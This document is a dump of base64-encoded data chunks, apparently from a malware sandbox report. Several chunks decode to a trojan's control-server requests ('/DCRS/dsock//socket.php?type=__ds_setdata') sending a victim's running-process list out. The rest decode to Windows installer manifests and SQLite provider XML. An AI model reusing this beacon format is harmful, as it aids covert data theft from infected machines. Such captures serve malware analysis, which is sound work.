Y2hvc3QuZXhlJTNDU1RSJTNFUGF5UGFsLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXNlcnZpY2VzLmV4ZSUzQ1NUUiUzRXNwb29sc3YuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0V3aW5pbml0LmV4ZSUzQ1NUUiUzRVdtaVBydlNFLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZXhwbG9yZXIuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VTeXN0ZW0uZXhlJTNDU1RSJTNFSWRsZS5leGU=6b:T478,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXdpbmxvZ29uLmV4ZSUzQ1NUUiUzRXRhc2tob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFUGF5UGFsLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXNlcnZpY2VzLmV4ZSUzQ1NUUiUzRXNwb29sc3YuZXhlJTNDU1RSJTNFZGxsaG9zdC5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRXdpbmluaXQuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VleHBsb3Jlci5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRVN5c3RlbS5leGUlM0NTVFIlM0VJZGxlLmV4ZQ==6c:T478,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXdpbmxvZ29uLmV4ZSUzQ1NUUiUzRXRhc2tob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFUGF5UGFsLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWRsbGhvc3QuZXhlJTNDU1RSJTNFY3Nyc3MuZXhlJTNDU1RSJTNFc2VydmljZXMuZXhlJTNDU1RSJTNFc3Bvb2xzdi5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRXdpbmluaXQuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VleHBsb3Jlci5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRVN5c3RlbS5leGUlM0NTVFIlM0VJZGxlLmV4ZQ==6d:T45c,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWRsbGhvc3QuZXhlJTNDU1RSJTNFY3Nyc3MuZXhlJTNDU1RSJTNFd2lubG9nb24uZXhlJTNDU1RSJTNFdGFza2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VQYXlQYWwuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXNlcnZpY2VzLmV4ZSUzQ1NUUiUzRXNwb29sc3YuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0V3aW5pbml0LmV4ZSUzQ1NUUiUzRVdtaVBydlNFLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZXhwbG9yZXIuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VTeXN0ZW0uZXhlJTNDU1RSJTNFSWRsZS5leGU=6e:T478,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWRsbGhvc3QuZXhlJTNDU1RSJTNFY3Nyc3MuZXhlJTNDU1RSJTNFd2lubG9nb24uZXhlJTNDU1RSJTNFdGFza2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VQYXlQYWwuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXNlcnZpY2VzLmV4ZSUzQ1NUUiUzRXNwb29sc3YuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0V3aW5pbml0LmV4ZSUzQ1NUUiUzRVdtaVBydlNFLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZXhwbG9yZXIuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0V0YXNraG9zdC5leGUlM0NTVFIlM0VTeXN0ZW0uZXhlJTNDU1RSJTNFSWRsZS5leGU=6f:T520,MjQ0MDIyNWY5M2F9Ii8+ICAgICBUaGUgSUQgYmVsb3cgaW5kaWNhdGVzIGFwcGxpY2F0aW9uIHN1cHBvcnQgZm9yIFdpbmRvd3MgOCAtLT4gICAgICA8c3VwcG9ydGVkT1MgSWQ9Ins0YTJmMjhlMy01M2I5LTQ0NDEtYmE5Yy1kNjlkNGE0YTZlMzh9Ii8+ICAgICBUaGUgSUQgYmVsb3cgaW5kaWNhdGVzIGFwcGxpY2F0aW9uIHN1cHBvcnQgZm9yIFdpbmRvd3MgOC4xIC0tPiAgICAgIDxzdXBwb3J0ZWRPUyBJZD0iezFmNjc2Yzc2LTgwZTEtNDIzOS05NWJiLTgzZDBmNmQwZGE3OH0iLz4gICAgIFRoZSBJRCBiZWxvdyBpbmRpY2F0ZXMgYXBwbGljYXRpb24gc3VwcG9ydCBmb3IgV2luZG93cyAxMCAtLT4gICAgICA8c3VwcG9ydGVkT1MgSWQ9Ins4ZTBmN2ExMi1iZmIzLTRmZTgtYjlhNS00OGZkNTBhMTVhOWF9Ii8+ICA8L2FwcGxpY2F0aW9uPjwvY29tcGF0aWJpbGl0eT48YXNtdjM6YXBwbGljYXRpb24geG1sbnM6YXNtdjM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4gIDxhc212Mzp3aW5kb3dzU2V0dGluZ3MgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vU01JLzIwMDUvV2luZG93c1NldHRpbmdzIj4gICAgPGRwaUF3YXJlPnRydWU8L2RwaUF3YXJlPiAgPC9hc212Mzp3aW5kb3dzU2V0dGluZ3M+PC9hc212MzphcHBsaWNhdGlvbj48L2Fzc2VtYmx5PlBQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUA==70:T52c,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+IC8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiAqIEFETy5ORVQgMi4wIERhdGEgUHJvdmlkZXIgZm9yIFNRTGl0ZSBWZXJzaW9uIDMuWCAqIFdyaXR0ZW4gYnkgUm9iZXJ0IFNpbXBzb24gKHJvYmVydEBibGFja2Nhc3RsZXNvZnQuY29tKSAqICAqIFJlbGVhc2VkIHRvIHRoZSBwdWJsaWMgZG9tYWluLCB1c2UgYXQgeW91ciBvd24gcmlzayEgKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovLS0+PERvY3VtZW50RWxlbWVudD4gIDxNZXRhRGF0YUNvbGxlY3Rpb25zPiAgICA8Q29sbGVjdGlvbk5hbWU+TWV0YURhdGFDb2xsZWN0aW9uczwvQ29sbGVjdGlvbk5hbWU+ICAgIDxOdW1iZXJPZlJlc3RyaWN0aW9ucz4wPC9OdW1iZXJPZlJlc3RyaWN0aW9ucz4gICAgPE51bWJlck9mSWRlbnRpZmllclBhcnRzPjA8L051bWJlck9mSWRlbnRpZmllclBhcnRzPiAgPC9NZXRhRGF0YUNvbGxlY3Rpb25zPiAgPE1ldGFEYXRhQ29sbGVjdGlvbnM+ICAgIDxDb2xsZWN0aW9uTmFtZT5EYXRhU291cmNlSW5mb3JtYXRpb248L0NvbGxlY3Rpb25OYW1lPiAgICA8TnVtYmVyT2ZSZXN0cmljdGlvbnM+MDwvTnVtYmVyT2ZSZXN0cmljdGlvbnM+ICAgIDxOdW1iZXJPZklkZW50aWZpZXJQYXJ0cz4wPC9OdW1iZXJPZklkZW50aWZpZXJQYXJ0cz4gIDwvTWV0YURhdGFDb2xsZWN0aW9ucz4gIDxNZXRhRGF0YUNvbGxlY3Rpb25zPiAgICA8Q29sbGVjdGlvbk5hbWU+RGF0YVR5cGVzPC9Db2xsZWN0aW9uTmFtZT4gICAgPE51bWJlck9mUmVzdHJpY3Rpb25zPjA8L051bWJlck9mUmVzdHJpY3Rpb25zPiAgICA8TnVtYmVyT2ZJZGVudGlmaWVyUGFydHM+MDwvTnVtYmVyT2ZJZGVudGlmaWVyUGFydHM+ICA8L01ldGFEYXRhQ29sbGVjdGlvbnM+ICA8TWV0YURhdGFDb2xsZWN0aW9ucz4gICAgPENvbGw=71:T454,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pjxhc3NlbWJseSB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjEiIG1hbmlmZXN0VmVyc2lvbj0iMS4wIj48YXNzZW1ibHlJZGVudGl0eSB2ZXJzaW9uPSIxLjAuMC4wIiBwcm9jZXNzb3JBcmNoaXRlY3R1cmU9IioiIG5hbWU9Ik51bGxzb2Z0Lk5TSVMuZXhlaGVhZCIgdHlwZT0id2luMzIiLz48ZGVzY3JpcHRpb24+TnVsbHNvZnQgSW5zdGFsbCBTeXN0ZW0gdjMuMDwvZGVzY3JpcHRpb24+PHRydXN0SW5mbyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjMiPjxzZWN1cml0eT48cmVxdWVzdGVkUHJpdmlsZWdlcz48cmVxdWVzdGVkRXhlY3V0aW9uTGV2ZWwgbGV2ZWw9ImFzSW52b2tlciIgdWlBY2Nlc3M9ImZhbHNlIi8+PC9yZXF1ZXN0ZWRQcml2aWxlZ2VzPjwvc2VjdXJpdHk+PC90cnVzdEluZm8+PGNvbXBhdGliaWxpdHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206Y29tcGF0aWJpbGl0eS52MSI+PGFwcGxpY2F0aW9uPjxzdXBwb3J0ZWRPUyBJZD0iezhlMGY3YTEyLWJmYjMtNGZlOC1iOWE1LTQ4ZmQ1MGExNWE5YX0iLz48c3VwcG9ydGVkT1MgSWQ9InsxZjY3NmM3Ni04MGUxLTQyMzktOTViYi04M2QwZjZkMGRhNzh9Ii8+PHN1cHBvcnRlZE9TIElkPSJ7NGEyZjI4ZTMtNTNiOS00NDQxLWJhOWMtZDY5ZDRhNGE2ZTM4fSIvPjxzdXBwb3J0ZWRPUyBJZD0iezM1MTM4YjlhLTVkOTYtNGZiZC04ZTJkLWEyNDQwMjI1ZjkzYX0iLz48L2FwcGxpY2F0aW9uPjwvY29tcGF0aWJpbGl0eT48L2Fzc2VtYmx5Pg==72:T520,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48YXNzZW1ibHkgbWFuaWZlc3RWZXJzaW9uPSIxLjAiIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSI+ICA8YXNzZW1ibHlJZGVudGl0eSB2ZXJzaW9uPSIxLjAuMC4wIiBuYW1lPSJNeUFwcGxpY2F0aW9uLmFwcCIvPiAgPHRydXN0SW5mbyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjIiPiAgICA8c2VjdXJpdHk+ICAgICAgPHJlcXVlc3RlZFByaXZpbGVnZXMgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4gICAgICAgICAgVUFDIE1hbmlmZXN0IE9wdGlvbnMgICAgICAgICAgICAgSWYgeW91IHdhbnQgdG8gY2hhbmdlIHRoZSBXaW5kb3dzIFVzZXIgQWNjb3VudCBDb250cm9sIGxldmVsIHJlcGxhY2UgdGhlICAgICAgICAgICAgICByZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBub2RlIHdpdGggb25lIG9mIHRoZSBmb2xsb3dpbmcuICAgICAgICA8cmVxdWVzdGVkRXhlY3V0aW9uTGV2ZWwgIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSIgLz4gICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCAgbGV2ZWw9InJlcXVpcmVBZG1pbmlzdHJhdG9yIiB1aUFjY2Vzcz0iZmFsc2UiIC8+ICAgICAgICA8cmVxdWVzdGVkRXhlY3V0aW9uTGV2ZWwgIGxldmVsPSJoaWdoZXN0QXZhaWxhYmxlIiB1aUFjY2Vzcz0iZmFsc2UiIC8+ICAgICAgICAgICAgU3BlY2lmeWluZyByZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBlbGVtZW50IHdpbGwgZGlzYWJsZSBmaWxlIGFuZCByZWdpc3RyeSB2aXJ0dWFsaXphdGlvbi4gICAgICAgICAgICAgUmVtb3ZlIHRoaXMgZWxlbWVudCBpZiB5b3VyIGFwcGxpY2F0aW9uIHJlcXVpcmVzIHRoaXMgdmlydHVhbGl6YXRpb24gZm9yIGJhY2t3YXJkcyAgICAgICAgICAgIGNvbXBhdGliaWxpdHkuICAgICAgICAtLT4gICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRp73:T504,PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJ5ZXMiPz4gLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqICogQURPLk5FVCAyLjAgRGF0YSBQcm92aWRlciBmb3IgU1FMaXRlIFZlcnNpb24gMy5YICogV3JpdHRlbiBieSBSb2JlcnQgU2ltcHNvbiAocm9iZXJ0QGJsYWNrY2FzdGxlc29mdC5jb20pICogKiBSZWxlYXNlZCB0byB0aGUgcHVibGljIGRvbWFpbiwgdXNlIGF0IHlvdXIgb3duIHJpc2shICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLy0tPjxEb2N1bWVudEVsZW1lbnQ+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+c21hbGxpbnQ8L1R5cGVOYW1lPiAgICA8UHJvdmlkZXJEYlR5cGU+MTA8L1Byb3ZpZGVyRGJUeXBlPiAgICA8Q29sdW1uU2l6ZT41PC9Db2x1bW5TaXplPiAgICA8RGF0YVR5cGU+U3lzdGVtLkludDE2PC9EYXRhVHlwZT4gICAgPENyZWF0ZUZvcm1hdD5zbWFsbGludDwvQ3JlYXRlRm9ybWF0PiAgICA8SXNBdXRvSW5jcmVtZW50YWJsZT5mYWxzZTwvSXNBdXRvSW5jcmVtZW50YWJsZT4gICAgPElzQ2FzZVNlbnNpdGl2ZT5mYWxzZTwvSXNDYXNlU2Vuc2l0aXZlPiAgICA8SXNGaXhlZExlbmd0aD50cnVlPC9Jc0ZpeGVkTGVuZ3RoPiAgICA8SXNGaXhlZFByZWNpc2lvblNjYWxlPnRydWU8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPmZhbHNlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPElzVW5zaWduZWQ+ZmFsc2U8L0lzVW5zaWduZWQ+ICAgIDxJc0Jlc3RNYXRjaD50cnVlPC9Jc0Jlc3RNYXRjaD4gIDwvRGF0YVR5cGVzPiAgPERhdGE=74:T50c,PENyZWF0ZUZvcm1hdD5nZW5lcmFsPC9DcmVhdGVGb3JtYXQ+ICAgIDxJc0F1dG9JbmNyZW1lbnRhYmxlPmZhbHNlPC9Jc0F1dG9JbmNyZW1lbnRhYmxlPiAgICA8SXNDYXNlU2Vuc2l0aXZlPmZhbHNlPC9Jc0Nhc2VTZW5zaXRpdmU+ICAgIDxJc0ZpeGVkTGVuZ3RoPmZhbHNlPC9Jc0ZpeGVkTGVuZ3RoPiAgICA8SXNGaXhlZFByZWNpc2lvblNjYWxlPmZhbHNlPC9Jc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ICAgIDxJc0xvbmc+ZmFsc2U8L0lzTG9uZz4gICAgPElzTnVsbGFibGU+dHJ1ZTwvSXNOdWxsYWJsZT4gICAgPElzU2VhcmNoYWJsZT5mYWxzZTwvSXNTZWFyY2hhYmxlPiAgICA8SXNTZWFyY2hhYmxlV2l0aExpa2U+ZmFsc2U8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8TGl0ZXJhbFByZWZpeD5YJzwvTGl0ZXJhbFByZWZpeD4gICAgPExpdGVyYWxTdWZmaXg+JzwvTGl0ZXJhbFN1ZmZpeD4gICAgPElzQmVzdE1hdGNoPmZhbHNlPC9Jc0Jlc3RNYXRjaD4gIDwvRGF0YVR5cGVzPiAgPERhdGFUeXBlcz4gICAgPFR5cGVOYW1lPm9sZW9iamVjdDwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xPC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MjE0NzQ4MzY0NzwvQ29sdW1uU2l6ZT4gICAgPERhdGFUeXBlPlN5c3RlbS5CeXRlW108L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0Pm9sZW9iamVjdDwvQ3JlYXRlRm9ybWF0PiAgICA8SXNBdXRvSW5jcmVtZW50YWJsZT5mYWxzZTwvSXNBdXRvSW5jcmVtZW50YWJsZT4gICAgPElzQ2FzZVNlbnNpdGl2ZT5mYWxzZTwvSXNDYXNlU2Vuc2l0aXZlPiAgICA8SXNGaXhlZExlbmd0aD5mYWxzZTwvSXNGaXhlZExlbmd0aD4gICAgPElzRml4ZWRQcmVjaXNpb25TY2FsZT5mYWxzZTwvSXNGaXhlZFByZWNpc2lvblNjYWxlPiAgICA8SXNMb25nPmZhbHNlPC9Jc0xvbmc+ICAgIDxJc051bGxhYmxlPnRydWU8L0lzTnVsbGFibGU+ICAgIDxJc1NlYQ==75:T510,PENyZWF0ZUZvcm1hdD5sb25nPC9DcmVhdGVGb3JtYXQ+ICAgIDxJc0F1dG9JbmNyZW1lbnRhYmxlPnRydWU8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+dHJ1ZTwvSXNGaXhlZExlbmd0aD4gICAgPElzRml4ZWRQcmVjaXNpb25TY2FsZT50cnVlPC9Jc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ICAgIDxJc0xvbmc+ZmFsc2U8L0lzTG9uZz4gICAgPElzTnVsbGFibGU+dHJ1ZTwvSXNOdWxsYWJsZT4gICAgPElzU2VhcmNoYWJsZT50cnVlPC9Jc1NlYXJjaGFibGU+ICAgIDxJc1NlYXJjaGFibGVXaXRoTGlrZT5mYWxzZTwvSXNTZWFyY2hhYmxlV2l0aExpa2U+ICAgIDxJc1Vuc2lnbmVkPmZhbHNlPC9Jc1Vuc2lnbmVkPiAgICA8SXNCZXN0TWF0Y2g+ZmFsc2U8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+YmlnaW50PC9UeXBlTmFtZT4gICAgPFByb3ZpZGVyRGJUeXBlPjEyPC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MTk8L0NvbHVtblNpemU+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uSW50NjQ8L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0PmJpZ2ludDwvQ3JlYXRlRm9ybWF0PiAgICA8SXNBdXRvSW5jcmVtZW50YWJsZT50cnVlPC9Jc0F1dG9JbmNyZW1lbnRhYmxlPiAgICA8SXNDYXNlU2Vuc2l0aXZlPmZhbHNlPC9Jc0Nhc2VTZW5zaXRpdmU+ICAgIDxJc0ZpeGVkTGVuZ3RoPnRydWU8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+dHJ1ZTwvSXNGaXhlZFByZWNpc2lvblNjYWxlPiAgICA8SXNMb25nPmZhbHNlPC9Jc0xvbmc+ICAgIDxJc051bGxhYmxlPnRydWU8L0lzTnVsbGFibGU+ICAgIDxJc1NlYXJjaGFibGU+dHJ1ZTwvSXNTZWFyY2hhYmxlPiAgICA8SXNTZWFyY2hhYmxlV2l0aExpa2U+ZmFsc2U8L0lzU2VhcmM=76:T514,PElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+ZmFsc2U8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ZmFsc2U8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPmZhbHNlPC9Jc1NlYXJjaGFibGU+ICAgIDxJc1NlYXJjaGFibGVXaXRoTGlrZT5mYWxzZTwvSXNTZWFyY2hhYmxlV2l0aExpa2U+ICAgIDxMaXRlcmFsUHJlZml4PlgnPC9MaXRlcmFsUHJlZml4PiAgICA8TGl0ZXJhbFN1ZmZpeD4nPC9MaXRlcmFsU3VmZml4PiAgICA8SXNCZXN0TWF0Y2g+ZmFsc2U8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+YmxvYjwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xPC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MjE0NzQ4MzY0NzwvQ29sdW1uU2l6ZT4gICAgPERhdGFUeXBlPlN5c3RlbS5CeXRlW108L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0PmJsb2I8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+ZmFsc2U8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ZmFsc2U8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT5